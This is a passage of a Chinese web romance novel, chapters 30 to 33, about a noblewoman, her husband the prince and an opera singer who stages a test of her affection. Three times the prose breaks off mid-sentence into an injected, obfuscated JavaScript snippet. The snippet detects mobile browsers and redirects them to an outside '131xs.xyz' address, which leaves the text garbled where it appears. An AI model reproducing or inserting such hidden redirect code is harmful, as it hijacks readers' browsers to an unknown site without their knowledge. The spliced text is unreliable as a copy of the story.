“姑娘,看你这身行头,多半也是富贵人家吧?你有所不知,狸奴已经不在我们戏班了,那小子已经飞黄腾达了。” 那人的眼睛里多了几许羡慕的眼神,接着说道:“他被咱们老班主的女儿看上了,老班主女儿还为他花钱赎了身,他从此以后哪儿用得着唱戏呀,只要跟着老班主的女儿吃香的喝辣的就行了,今天估计是他最后一场戏了。” 什么?! 怪不得狸奴跟她对视时,是那样悲凉决绝的眼神。 他们玩儿的最好的时候,夏穗对他承诺过,等她攒好了钱,就为他赎身。 现在被别人抢先了不说,她还在狸奴的心里成了不守信用、背信弃义的小人。 狸奴的性格,夏穗也是了解的,他与刚刚那人口中只会贪图荣华富贵、终日享乐的懒汉不一样。 狸奴虽是戏班出身,但性子最是清高,老班主的女儿是十里八方出了名的泼辣粗鲁,狸奴跟着她一起生活,是不会快乐的。 夏穗甚至来不及回王府去拿银钱,她就地把头上和手上戴着的金银珠宝通通取下来,打算现在就把狸奴从班主女儿手中赎回来。 怎么说两人也是知己,她不想眼睁睁地看着狸奴郁郁寡欢过完下半辈子。 她向好几个人打听,才找到班主女儿暂住的房间,她捧着一堆金银首饰走过去,还没靠近,就听到里面传来中年女子的河东狮吼。 “你哭什么哭!怎么,跟着我,我让你受委屈了吗?!” 是班主女儿的声音。 “你可别忘了,当初你只是一个小毛孩儿,还是我爹把你从大街上捡回来的!我们给你饭吃,教你唱戏,要不是我爹,你都活不到今天!跟了我,你就感恩戴德去吧!” 夏穗靠近了些,这下能够隐约听到狸奴细细的抽泣声了。 他声音中带着十分的委屈:“这些年我挣的银钱,一分一毫都上交了。老班主对我的恩情,我也铭记在心,丝毫不敢忘却。我以后我挣的钱,也还是会孝敬他。只是我早有心上人,您想要我做的事,恕难从命。” 班主女儿冷笑了一声:“心上人?狸奴啊狸奴,我是该说你捧着一颗真心,还是该说你脑子少根筋?你真把那些看客醉酒时的花言巧语当真了?我知道你有几个要好的大家闺秀,但你以为她们真会瞧得上你吗?” 她说完顿了顿,声音略微提高了些:“我告诉你,就你平时最要好的那个,叫什么穗穗的,那天我在大街上亲眼看到她挽髻插笄出行,发髻上还缠着五彩缨线,这是什么意思,不用我多说吧?人家早就嫁人了,也就你还傻不愣登的等着人家。” 说到这里,狸奴的呜咽声停顿了一下,夏穗能明显感觉他似乎在极力克制着,但哭声却不受控制地变大了。 中年女人很满意地笑着说道:“老实跟着我吧!” 夏穗听不下去了,她猫着身子,绕到另一边的窗户下,学了两声青蛙叫。 这是她和狸奴之间的暗号。 像班主女儿那么凶悍的女人,若是要硬碰硬,夏穗肯定会落了下风。 而且现在是在白府,她如果跟这样的女人吵起来,被传到白薇的耳朵里,不知道又要拿去做什么文章。 “呱呱、呱呱呱!” 夏穗又学了几声蛙叫。 狸奴愣了愣,像是止住了抽泣声,良久,他哽咽道:“我明白了,给我点时间,我会试着接受的。” “这才对嘛。” 班主女儿满意地笑笑,又与他待了一会儿,出门去了。 看着门一关上,狸奴立即打开了窗户。 夏穗从窗户底下探出半个头,朝他扬起一个大大的笑容:“狸奴!总算跟你说上话了。我其实……” “砰!” 她话还未说完,狸奴便“砰”地一声关上了窗子。 夏穗有些莫名其妙,她蹲在窗子外,用手拍着窗户,急道:“狸奴!” 狸奴站在窗边,她只能看到窗户上纤弱的、正在微微颤抖的人影。 夏穗更急了,她又不敢大声叫唤,只是蹲在窗外一味地拍窗户:“狸奴?怎么了?你打开窗子,让我跟你说话。” “我已经是别人的人了,你还来找我做什么?” “不是的,我不知道你这么快就会被别人赎走。我现在就去跟班主女儿说,帮你赎身。就算是出两倍的价格,我也愿意。” “若是她不愿意呢?” 夏穗想了想:“那我出五倍。” “若是她要十倍呢?” “……” 夏穗沉默了。 五倍的价钱,她可以管谢枕年借一点,再凑一凑,勉强还能拿出来,十倍嘛,她是得好好想一下的。 毕竟,她可以为男人花钱,但是掏十倍的赎身钱,相当于让她掏心掏肺了。 小话本上说了,为男人花大钱的女人一般是没有好下场的。 看夏穗沉默这么久,狸奴又止不住落泪。 “我就知道你会这样,你走吧!就当我们从没认识过好了!反正我从小也是孤家寡人,大不了一条白绫了断余生,彼此以后也免了牵挂。” “别啊!十倍我也会出的!我刚刚只是在想怎么筹钱。你先打开窗子,我们面对面说话,好不好?” 狸奴抹干眼泪,不情不愿地推开窗户。 夏穗立即把手中捧着的金银首饰塞到他怀里:“这些你先拿着,不够的话,我马上差人回府去取。” 狸奴黑而长的睫毛上还挂着泪珠:“我不用。还说什么要替我赎身,你只是说说而已吧?你都早就嫁人了。” 夏穗辩解道:“你别听她瞎说。” “她没瞎说,你嫁人的事,我早就猜到了。” 狸奴哽咽着说道:“那天你走后,天快黑了,我担心你路上不安全,便尾随护送,直到看到你进了端王府。还与一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725629|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个气质非凡的男人交谈甚欢。你不是他的妻还能是什么?” “我……” 他说的没错,夏穗咬咬牙,打算借此机会承认她嫁人了。 从前她以为谢枕年是断袖,所以哪怕她在外面沾花惹草,也相当地心安理得。 但自从知道是她误会了谢枕年后,她再与别的男人不清不楚,便有些于心不安了。 但是很明显,狸奴对她已经超过了普通知己的情意。 与其放任事态不受控制地发展下去,还不如现在就承认。 她想好好解释,把话说的尽量不那么伤人一些。 狸奴却在她开口之前先说话了:“既然你已经身为人妇,何苦还要来招惹我?明明招惹了我,却又不需要我,就算你替我赎了身又怎样?我还不是孤苦伶仃一人。” 他说着,不知不觉又红了眼眶:“让我每天想着自己的心上人与别人交欢,这样的日子,有什么活劲儿,倒不如死了清净……” “我是寡妇!” 情急之下,夏穗脱口而出。 此言一出,狸奴的眼睛亮了亮:“此话当真?” 这,怎么说呢…… 除了昨晚,她和谢枕年有过唯一的一次鱼水之欢,她前两年的日子,过得跟寡妇没什么区别。 不管了,眼下安抚好狸奴的情绪最重要。 夏穗心虚地点点头。 狸奴半信半疑:“那天我看到的和你交谈甚欢的男人,我今天在宴会上也看到他了,他就是端王吧?可我听到他们都叫你娘娘……” 夏穗的嘴比脑子跑得快:“你有所不知,我是他嫂嫂。” 她朝着狸奴靠近了些,把手撑在窗沿上,一本正经地说道:“端王有位兄长,我跟他兄长订了娃娃亲,嫁入了王府。不过前些年,他在战场上牺牲了……” 夏穗说得动容,丝毫看不出来是假话。 虽然她觉得现在说这些话骗狸奴很可耻,但如果她不这么说,按狸奴的个性,是真的会寻死觅活。 狸奴听了这话,二话不说就单手撑过窗沿,利落地翻了出来,一把抱住了她。 “原来是这样,是我错怪你了。” 夏穗点点头,悄悄吐出一口气,又轻轻地推开他,与他稍微拉开了些距离:“嗯嗯,就是这样。” 但她话音未落,又一道熟悉的声音响起:“娘娘,你在这儿呢,王爷找你半天了。宴会散了,我们回去吧。” 夏穗一转身,看到彦修跟在谢枕年身后,两人朝着这边走来。 狸奴见到谢枕年,在他面前拜了一拜:“见过王爷。” 还不等谢枕年发话,他就兀自直起了身子。 谢枕年瞟了他一眼,神色淡漠,但夏穗看得出来,他有些不大高兴。 不过谢枕年不屑与他说话,只对夏穗说道:“回府吧。” 夏穗刚迈了一只脚,手腕便被狸奴抓住。 谢枕年的眼睛里立刻闪过一道锐光,他眉头下压,微微眯起眼睛,死死盯着夏穗被握住的手腕。 恨不得用目光把狸奴的手烧融化了。 狸奴往前一步,把夏穗挡在身后,说道:“王爷,能让她陪我一会儿吗?” 夏穗愣住,有些惊恐地回过头,心下大叫不好。 谢枕年瞪了他一眼:“你知道你牵着的人是谁吗?” “我知道,你嫂嫂啊。” 谢枕年的眼睛里已经涌上了掩饰不住的愠色,他冷声道:“……你听谁说的?” 他绝对饶不了造谣的人! 狸奴稍稍侧头看着身旁的夏穗,目光温柔:“穗穗亲口告诉我的。” “……” 空气很可怕地一直安静着。 良久良久,谢枕年大跨步上前,十分强硬地把夏穗从狸奴身旁拽过来,拉着她粗暴地推开一扇房门。 “进来一下,嫂、嫂。” 他几乎要把后两个字咬碎。 31. 第 31 章 夏穗被谢枕年拉着,巨大的力道让她踉跄了一下,手腕传来清晰的痛感。 “等等!” 谢枕年充耳不闻,拽着她就近粗暴地推开一扇房门,几乎是把她搡了进去。 “砰!” 谢枕年关门的声音比狸奴刚刚关窗子的声音还要大。 夏穗轻叹了口气,这些男人怎么一个两个的都这么坏脾气? 房门关上,把外面的光线和人影全都隔绝开来。昏暗的室内,只有夏穗和眼前这个浑身散发着暴戾气息的男人。 谢枕年高大的身影将她完全笼罩在阴影里,他转过身,眉目冷峻,目光死死地钉在她脸上。 夏穗本想避开他的目光,但每当谢枕年这么打量一个人的时候,都带着极强的压迫感,这让她不得不拿出诚意来,张着一双无辜的大眼睛望着他。 谢枕年朝她靠近了些,每一个字都像是从齿缝里蹦出来的: “不解释一下吗?嫂、嫂。” 夏穗浑身一僵,寒意瞬间从脚底窜上头顶。 除了上次在夏府,谢枕年亲眼目睹她被欺负之外,她还是第一次在他脸上看到这般毫不克制的怒火。 连周围的空气都要被谢枕年周身散发的寒意冻结。 她属实没想到事情会发展成现在这个样子。 她真的只是为了安抚狸奴的情绪,随口一说,没想到他真听进去了。 夏穗飞快地在脑子里组织语言,但此刻的谢枕年显然没有那么多耐心。 “夏穗。” 他开口,声音低沉得可怕。 “噢,不对,我现在该叫你什么?王妃?嫂嫂?噢~还是像他一样,叫你穗穗?” 他刻意加重了“嫂嫂”和“穗穗”这两个词。 夏穗哭笑不得,他平日里看着温文尔雅,知礼明仪,没想到阴阳怪气起来竟也是一把好手。 夏穗本着伸手不打笑脸人的原则朝他笑了笑:“我不是故意要那么说的。狸奴他……” 夏穗咬咬牙,把她和狸奴的事情一股脑地倒了出来:“狸奴一直以为我和他是两情相悦。他不知道我已经成婚了,他如今又被别人买了去,正是最低谷的时候。我怕如果直接告诉他真相,他会接受不了,做出什么傻事来……” 看谢枕年还是皱着眉,她稍稍加快了语速,极力解释道: “我只是想暂时安抚住他,让他情绪平稳一点,所以才找了一个不那么刺激他的说法。” 听她说完,谢枕年下扯了扯嘴角,冷笑一声。 这个解释还不如不听。 她字里行间全是对狸奴的爱惜和维护。 安抚他?怕他受不了? 她就不怕他也受不了吗?! “所以,我的妻子为了安抚一个单相思的男人,就把我当成了外人?” 看来谢枕年很有掐头去尾,总结精辟的天赋。 夏穗轻叹口气,摇摇头:“叔郎怎么能算是外人呢?” “夏穗!你非要故意气我,是不是?” “没有,我说的是实话。” 她知道谢枕年不会轻易接受这个解释,却也没想到他的反应会如此激烈。 在她印象中,谢枕年寡淡无比,对这种鸡毛蒜皮的小事应该是不在乎的。 她张了张嘴,却发现她该狡辩的都已经狡辩完了,也实在不好再多说什么了。 更何况,看谢枕年现在这副样子,说的多,错的多。 谢枕年死死得盯着她精致的小脸,发现她头上和手上的配饰都没有了,不用想也知道她拿那些首饰换了什么。 他看着夏穗那双盛满无辜的大眼睛,但从那双眼睛里,他怎么也看不出她半点愧疚之意。 她所谓的“不得已”的理由,真的伤到他了。 他明媒正娶的妻子,不仅为了别的男人和他撇清关系,而且现在还毫无悔意。 他越想越来气,胸膛剧烈起伏着:“从此以后,不许你再见他。” 听他这么说,夏穗也很不服气:“为什么?他是我的朋友,如今又正是危难时刻,我不能放着他不管。” “总之就是不许。” “我都说了,他是我的朋友。再说了,在你袖手旁观的时候,他今天还站出来帮我说话呢!以平民之身对抗有权有势的官家小姐,你知道有多不容易吗?!” 想起谢枕年今天的态度,夏穗也有些来气。 “我不但要见他,我还要给他赎身!我这辈子都不会抛弃他的!” 此言一出,空气又沉默了。 不服气夹杂着些许委屈,让她怄气的话脱口而出。 谢枕年的脸瞬间沉下去,她什么意思? 听起来像是要和那个男人好一辈子。 他咬着后槽牙说道:“你、再、说、一、遍。” “我说我不但要见他,我还要给他赎身!我这辈子都不会抛弃他!” 再说一遍就再说一遍! 怒火不可遏制地烧掉了理智,夏穗大声重复了一遍。 话音未落,忽然迎面吹来一股风,紧接着,一股大力将她抵在坚硬的门框上,她的后背硌着冰冷的木质门框,有些发疼。 她还没反应过来,谢枕年高大伟岸的身体就在下一刻欺身而上,将她紧紧压制在冰冷的门框和他滚烫的胸膛之间。 小白兔是只黄兔子也就算了,但绝对不能是一只绿兔子。 谢枕年倾身凑近了些,一只手压制着她的肩膀,另一只手撑在门上,把夏穗完完全全地困于他和门之间,他的姿态像是胜券在握的猎人把猎物逼到了自家仓库里。 两人凑得极近,夏穗甚至能够明显地感觉到谢枕年矫健有力的上臂传来的热量,还有他身上强烈的雄性荷尔蒙气息。 她只要稍稍一侧头,几乎就能碰到谢枕年的鼻尖。 夏穗连大气也不敢出,她垂下眸子,委屈道:“我知道我错了,我已经道歉了。” “晚了,我已经生气了。” 谢枕年用食指扳过她的下巴,强迫她看着自己。 他手指上冰凉的扳指碰到她柔软的脸颊,她稍稍扭了一下头,但很快又被他扳回来。 四目相对,夏穗一惊——谢枕年眼中惩罚的意味不像是开玩笑的。 他要做什么? 总不至于动手吧? 夏穗的脑子里还在想对策,谢枕年身上好闻的雪松冷香就倾泻下来,将她包裹住,他人也跟着贴近,宽厚温热的大手绕到她的腰后,盈盈一握,吓得夏穗缩瑟了一下。 夏穗想一把推开他,但他岿然不动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732741|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在心中暗骂了他一声,他确实不会动手,但是他会动手动脚。 谢枕年盯着她,勾了勾嘴角,轻哼一声,直接按住她的腰,往自己怀中一带。 夏穗的脸撞在他的宽阔厚实胸膛上,她正要说话,整个人就天旋地转,脚已经离地,她被谢枕年打横抱了起来! 不得不说,他真的很有力气,只用一只手就稳稳地抱住了她,还腾出了另一只手顺便按住了她。 夏穗趴在他肩上,奋力挣扎着:“干什么!快放我下来!” 谢枕年不回话,大步流星地抱着她转了大半个房间,像是在找什么东西。 “不是,你要找什么?能不能先放我下来?” 夏穗不满地拍打着他的背。 不过很快,她就知道谢枕年要找的东西是什么了。 是床。 但是这房内没有。 于是他退而求其次,抱着她来到宽大的书桌前,他把桌上的笔墨纸砚用大手一扫,接着把夏穗放了上去。 夏穗被不太温柔地安置在桌上,双腿悬空,她有些不解地望着谢枕年。 在刚才那番挣扎之下,她的衣服已经有些凌乱,眼看着谢枕年开始解衣服,她赶紧用手捂住衣领口,有些惊恐地看着他。 “你、你要干什么?” 谢枕年简单粗暴地吐出一个字:“你。” ?! 夏穗愣住:“什、什么意思?” 谢枕年已经解开了外袍,随意地扔到地上,一双好看的丹凤眼微微眯起,声音如同浸过雪水般冷冽:“怎么,没听懂吗?” 他俯下身子,声音低沉,带着夜里的凉意,在她耳边说道:“你要当我嫂嫂,经过我同意了吗?” “嫂嫂,不知道你听没听说过,在公卿大臣之间,也有兄死娶嫂的习俗。” 夏穗皮笑肉不笑地抬了抬嘴角:“我还是第一次听说。这莫不是你现编的吧?” 谢枕年一边靠近一边回道:“确有此事。” 眼看着他开始解里衣带子,夏穗急忙制止他:“好了!角色扮演就到这里,让我下来。” 谢枕年看似极其温顺地点点头:“好,听你的。那现在,我们是夫妻关系了?” 夏穗忙不迭回答道:“嗯,是是是。” 谢枕年宛如神祇的脸上此时闪过一抹恶童般危险的笑:“如你所说,你我既是夫妻,做点什么也是应该的。” ?! 什么鬼?! 他今天对这件事情好像异乎寻常地执着。 夏穗问道:“你吃错药了?” “还是你又什么人被下药了?” 不应该啊。 她印象中的谢枕年,绝不是这种口出狂言,贪恋鱼水之欢的男人。 看来她今天真是把他刺激到了。 谢枕年接吻的技术是生涩了些,但其他都无可挑剔。 其实她也不是不想要,只是此情此景,在此地,实在不适合。 她推了推他:“先回家吧。” “就在这里。” 谢枕年的语气不容置喙。 他好像还说了什么话,但夏穗不太能听清楚。 她只能清晰感觉到,谢枕年强劲温热的鼻息正喷在她的颈侧,弄得她很痒。 32. 第 32 章 谢枕年朝她凑过来,就在夏穗以为他下一秒就要亲她的时候 ——“砰!” 又是一声巨大的推门声。 房门被一股巨大的力量从外面猛地撞开。 夏穗与谢枕年双双往门口看去。 狸奴正站在门口,脸上血色尽褪,眼睛一眨不眨地盯着坐在桌上的夏穗和褪去外袍的谢枕年。 眼神逐渐从震惊、难以置信转变为滔天的愤怒。 他刚才在门外,本来想凑近听听,但彦修一直堵在门口,不让他靠近。 好不容易竖起耳朵将里面的对话听了个七七八八,什么做夫妻,什么兄死娶嫂的,谢枕年充满占有欲的质问和夏穗惊慌的解释,像一把重锤砸在他心上。 这两个人肯定有猫腻! 但他还是相信穗穗。 他认识夏穗很久了,虽然她来见他的时候,基本上都带着面纱,但凭身形和声音,他早就认出她来了。 他也很了解夏穗这个人,她身上穿戴的都并不是俗物,一看就是大户人家出身,每次来听他唱戏,投给他的钱也不少。 尽管如此,但他知道,夏穗是一个十分爱财的人。 她并非是那种视钱财如粪土的高洁女子,她就像寻常人那般,爱财,爱玩,热烈地追求自己喜欢的一切东西。 也正是因为如此,他被夏穗身上那股自由洒脱的生命力深深吸引着。 这些年来,他每天做的就只有练功,唱戏,对班主的话唯命是从,活得像一滩死水。 但遇见夏穗,就如同封闭的山谷忽然闯进一股春风,不仅让封闭幽深的潭面泛起了波澜,还让整个山谷都山花烂漫。 他此生所求不多,现如今,只要一个夏穗而已。 他拿出了他毕生全部的积蓄,才拜托班主女儿和他演了这场戏,为的就是试探夏穗的感情。 他知道夏穗珍视钱财,他的身价本就不低,他刻意在窗子面前说了那番话,让夏穗拿十倍的赎金来赎他,但夏穗还是答应了。 这就足够证明,夏穗对他也是有感情的。 既然如此,他就是玩弄一切手段,也要把夏穗抢到手! 谢枕年高大的身躯正将夏穗完全笼罩住,两人身体紧贴,谢枕年望向他的眼睛里,带着一种宣誓主权的挑衅意味。 夏穗看到狸奴进来,稍稍用力推了推谢枕年。 就是这么一个微小的动作,让狸奴更加认定了,分明就是谢枕年在强迫她、欺辱她! “放开她!” 狸奴的怒吼带着破音,像一只被激怒的小兽,双目赤红冲了过去。 谢枕年这几个月来在床上躺了这么久,身体还在恢复当中,但好歹是带过兵打过仗的,多年训练有素的身体素质与反射神经不是像狸奴这种人能够轻易攻破的。 他轻而易举地用一只手变狠狠抓住了狸奴的手腕。 不知道是不是夏穗的错觉,她总觉得在狸奴冲过来的那一瞬间,谢枕年下意识地收紧了手臂,将她更紧地搂在怀里。 也正是因为这样,让狸奴有了可乘之机。 他伸出另一只没有被遏制住的手,不由分说就挥拳砸向谢枕年的侧脸。 “呃嗯……” 这一拳来得又快又猛,谢枕年腾不开手,只好硬生生挨了他这一拳,痛得闷哼一声。 谢枕年的脸被他的蛮力打得猛地偏向一边,身体不受控制地退了一步,紧扣着夏穗腰肢的手臂也微微松开,但仍旧没有放开她。 一股铁锈般的血腥味瞬间在他口腔里弥漫开来,嘴角传来火辣辣的刺痛。 夏穗被这突如其来的一系列动作惊呆了,她看着谢枕年微微渗血的嘴角,脑子里只有一个想法: 他受伤了! 说不清楚心里是什么滋味。 就像她精心呵护的珍贵玉瓶,忽然之间出现了裂痕;又好像她用心栽培的名贵花朵,一不小心就让它掉了几片花瓣。 有些心疼。 夏穗下意识地瞪了罪魁祸首狸奴一眼,但面对狸奴清澈干净的眼睛,她也责怪不起来。 狸奴一拳得手,立刻伸手想把夏穗从谢枕年身边拉开,他拉着夏穗跳下桌子,同时对谢枕年骂道: “就算你们世家大族之间有什么兄死娶嫂的习俗,也要看穗穗愿不愿意吧?!民间传言都说谢家的教养极好,今日一见,也不过如此!” 谢枕年几乎充耳不闻,他抬手,用大拇指指腹抹去嘴角的鲜红,举手投足间带着一种令人胆寒的矜贵姿态。 他用舌头顶了顶嘴角,也不管狸奴骂他什么,眼睛只是看着夏穗,向她伸出一只手,冷声说道:“过来。” 像是怕人跑了似的,狸奴紧了紧抓住夏穗的手。 夏穗轻叹口气,挣脱开狸奴的手,站在两人之间,对狸奴行礼作揖。 她向来不把这种礼法制度放在眼里,哪怕见了谢枕年,每次也是敷衍地抬抬手,只有去拜见老夫人时,才略微老实些。 她对平辈如此恭敬诚恳地行礼,谢枕年和狸奴还是第一次见。 “狸奴,是我不对,是我骗了你。我不是什么寡妇,也不是王爷的嫂嫂,我是王府八抬大轿明媒正娶的妻子。” 她深吸一口气,不敢看狸奴的眼睛,继续把话说完。 “我、我会替你赎身。不管花多大的价钱,我都会替你赎身,还你自由,这是我答应过你的事,我一定会做到。” 说到这里,她才敢抬头偷瞄狸奴一眼。 狸奴只是红着眼睛,静静地看着她,久久不说话。 当夏穗还想再说点什么的时候,狸奴忽然转身跑了。 夏穗抬脚就要去追,却被谢枕年一把拉了回来。 谢枕年不满道:“做什么去?” “你没看到他刚才那个状态吗?防止他一个人不管,肯定会出事的。” “一个成年大男人,早就该为自己的生命负责了。要死要活,是他自己决定的事,旁人也干涉不了。你能救他一次,能救他一辈子吗?” “我不能,但起码救了这一次再说。” 夏穗挣脱开他的束缚,转身便去追。 她跑了几步,听到后面传来的一阵脚步声,谢枕年很快便跟了上来。 她以为他又要劝,但谢枕年这次却冷静地开口:“天色晚了,我跟你一起去找。” 虽然还是蹙着眉,一副“我还在生气,谁也别碰我”的样子,但语气却缓和了不少。 等他们出了白府时,夕阳的余烬已经熄灭了。 天空被拉上了黑幕,厚重的乌云严丝合缝地遮蔽了星月,一丝光也不漏下。 “京城这么大,你要去哪儿找他?” 谢枕年站在她身边问道,庆幸自己没让她一个人出来。 夏穗摇摇头,垂下目光:“狸奴是孤儿,很小就被老班主收养了,他唯一的栖身地,也就是戏班了。如今离了戏班,我也不知道他会去哪儿。” 谢枕年看着夏穗,突然好像明白为什么她会那么在意狸奴了。 她每每提起狸奴时,眼中都透着一种同病相怜之感。 事实上也确实如此,一个是从小在街上流浪无家可归的人,一个是有家但还不如没家的人。 想到这里,他又想起了被他找回京城安置在郊外宅子里的那对母女,他暗自咬了咬牙。 “总之、先去戏班看看吧。” 走在黑漆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753855|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漆的路上,夏穗主动拉起了谢枕年的手。 谢枕年表面上不露声色,只是默默地回握她。 两人先去戏班找了一圈,没看到人,又去了一些茶楼、酒馆之类的地方,也还是不见到人影。 打更的更夫已经换了一波又一波人,天色也越来越暗,有要下大雨的趋势。 “这样找下去不是办法,我们先回去吧,这两天我会多派人手来找他的。” 夏穗虽然还想再多跑几个地方看看,但谢枕年说得也没错,两个人的效率确实太低了点,还不如回府去找帮手。 一回府,夏穗便像饿死鬼似的大吃特吃起来。 她如饿虎扑食般,风卷残云地把面前的饭菜一扫而光。 连站在一旁的小桃也看不下去了,偷偷戳了戳她的背:“小姐,白府中午是不给你饭吃吗?你怎么饿成这样了?” 夏穗吃完,餍足地抹了抹嘴:“那些小姐太太们,吃饭都跟吃猫食一样,一个两个的都端着,我在外面总不能丢了王府的脸面,便也学着她们,没吃几口。” 虽然她中午把自己面前的饭菜都吃完了,但小小一个碟子里,也没有盛多少。 再加上今天找了狸奴一个晚上,她实在有些累了。 谢枕年不知什么时候出现在她身后,只简单地对她说道:“我今晚还有公文要处理,你先睡吧。” 夏穗点了点头,看着他有些憔悴的面容,心里忽然觉得,他对不起的人不只是狸奴。 谢枕年这几天本来就忙,白天应付完朝堂的官员们,晚上又陪着她跑遍大半个京城去找一个与他毫不相干、甚至动手打了他的男人。 回来还要处理公务。 他简直把一天当成了二十四个时辰来用。 夏穗躺在床上,想着这些,很快便昏昏入睡。 迷迷糊糊中,大床微微下沉了一点,紧接着,有人贴上了她的身体,把她抱在怀中。 夏穗悠悠转醒,闻到了熟悉好闻的雪松香气。 从一开始,她只是单纯地迷恋这种好闻的香气,到现在,她觉得这种味道让她心里很踏实,很安心。 谢枕年朝她靠近了些,他还是第一次如此清醒地抱着夏穗睡觉。 她虽然平时吃得不少,但她的身材很苗条娇小。 该有肉的地方有肉,该骨感的地方骨感。 他以前从来不知道自己对女人的审美偏好是什么,但现在,他怀中紧抱着夏穗,他知道了。 他轻抚着夏穗的头发,忍不住偷偷亲了亲她的额头。 ! 夏穗在半梦半醒中忽然清醒了些,睫毛颤了颤,但并未睁开眼睛。 他难道是想…… 夏穗有些激动,乖乖地躺着不动。 但很显然,谢枕年还是那个清冷自持的谢枕年,没有她那么多七七八八的想法。 很快,头顶就传来他平静规律的呼吸声。 靠着他宽阔厚实的胸膛,夏穗撇撇嘴,也跟着睡过去。 “小姐!快醒醒,出大事了!” 夏穗摸了摸床侧,身侧的被褥冰凉。 一场大雨过后,外面的阳光强得刺眼,她眯着眼睛看向窗外,这个点,谢枕年应该已经去上早朝了。 她躺在床上翻了个身,昨天跑了太多路,今天只觉得肌肉酸痛,浑身乏力。 但小桃还在摇着她。 “小姐,快醒醒,你快去外面看看吧!” “怎么了?” 夏穗揉着眼睛,慢吞吞地坐起来。 “是狸奴!狸奴出事了!” 看到小桃眼睛中的惊慌,夏穗立马单手掀开被子,连鞋子也来不及穿,就朝着门外跑去。 33. 第 33 章 夏穗赤脚跑到门口,看到王府大门前围了一圈人,传来窃窃私语的声音。 “这不是戏班的那个戏子吗?怎么倒在这儿啊?” “啧啧啧,瞧这模样,怪好看的。” “嗯,不过跟王爷比还是差多了。” 夏穗推开人群挤了进去,看到浑身湿漉漉的狸奴,惨白着小脸倒在王府门口。 她赶紧上前拍了拍他的脸:“狸奴!你怎么了?你看看我!” 狸奴被雨水打湿的睫毛微微颤动了一下,夏穗用手探了探他的鼻息,确认他还活着,赶紧对一旁吃瓜的下人们吩咐道: “快把他抬进去。” “王妃,万万不可!王府严禁救治这种来历不明的人。万一他是什么刺客或者细作……” “我认识他,他不是来历不明的人!” 下人们都低着头,有些为难道:“娘娘恕罪……我们实在是不敢坏了王府的规矩。” 夏穗怒道:“他是我的朋友,也不行吗?” 彦修从人群中走出来,对她恭敬地行了一礼:“娘娘,王府有王府的规矩,不要让属下们难做。” 此时,躺在地上的狸奴有些虚弱地抬手,扯了扯夏穗的裙角,嘴唇微张,像是要说什么。 夏穗瞪了彦修和那些一言不发的下人们一眼,不想与他们辩驳,俯身低下头去听狸奴的话。 “穗穗……不要为难他们……我、我只是想来见见你。哪怕见你最后一面,我也好安安心心地离开……” 狸奴气若游丝地说完,又艰难地闭上了眼睛,说这几句话已经耗尽了他所有的力气。 “狸奴!” 夏穗急得眼泪都快掉出来了,她咬了咬牙,用尽吃奶的力气把狸奴从地上拉起来。 她半抱着他,就要往府里去:“好,你们不帮忙,我自己来。” 门卫和几个侍卫见状,目光都聚集在为首的彦修身上。 站在最前面的彦修紧蹙着眉,犹豫半晌,最终还是伸手拦下了她。 “娘娘,你听我说,谢家在前朝树敌不少,王爷的性命更是常年挂在刺客们的目标榜首上,此前王府发生过好几次行刺事件,幕后凶手都是下人私自救回来的人。” 夏穗深知彦修这个人的性格,虽然他是个重情重义的人,但是在某些事情上,也非常死板。 于是她懒得跟他辩解,张口便是命令的语气:“让开!” 彦修固执道:“娘娘!” “我再说一次,让开!” “不行!” 这句铿锵有力、不容置疑的“不行”,倒不是彦修说的,而是从人群身后传来的。 音色略微有些苍老。 众人立即散到两旁,只见一袭紫色华袍的谢朝恩缓缓走过来。 谢朝恩老成持重,不怒自威。 自谢枕年的父兄战死沙场之后,他一手将谢枕年养大,将他视如己出。在下人们眼中,都把他视作谢枕年的半个父亲。 “叔父,我用性命为他担保,他绝对不是刺客。” 夏穗的泪水在眼眶里打转。 “我说不行。” 王府自有王府的规矩,不许私自带人入府的规定从好几年前就有了,但近来有些松懈。 他早就知道有些下人偷偷带人进府,只是他最近忙的厉害,没空去查这些事。 不过,现在正是给下人们树立威仪的好时机。 “且不说你是端王府的王妃,跟戏子做朋友有辱身份,如今还要打破王府的规矩,带他入府,让旁人听了去,王府的颜面往哪儿放?!” 夏穗退而求其次:“好,我不带他进去,那我送他去医馆。” “站住!” 谢朝恩负手而立,冷着脸道: “这不是一个王妃该做的事,回你房间去。” 他有些不屑地瞥了狸奴一眼:“我自会让人送他去医馆。” 夏穗看他这副轻蔑平民的样子,实在有些不放心,说不定他派人把狸奴随便扔到哪个荒郊野外都有可能。 “那我跟着过去,听听大夫怎么说,马上就回来。” “不行。” 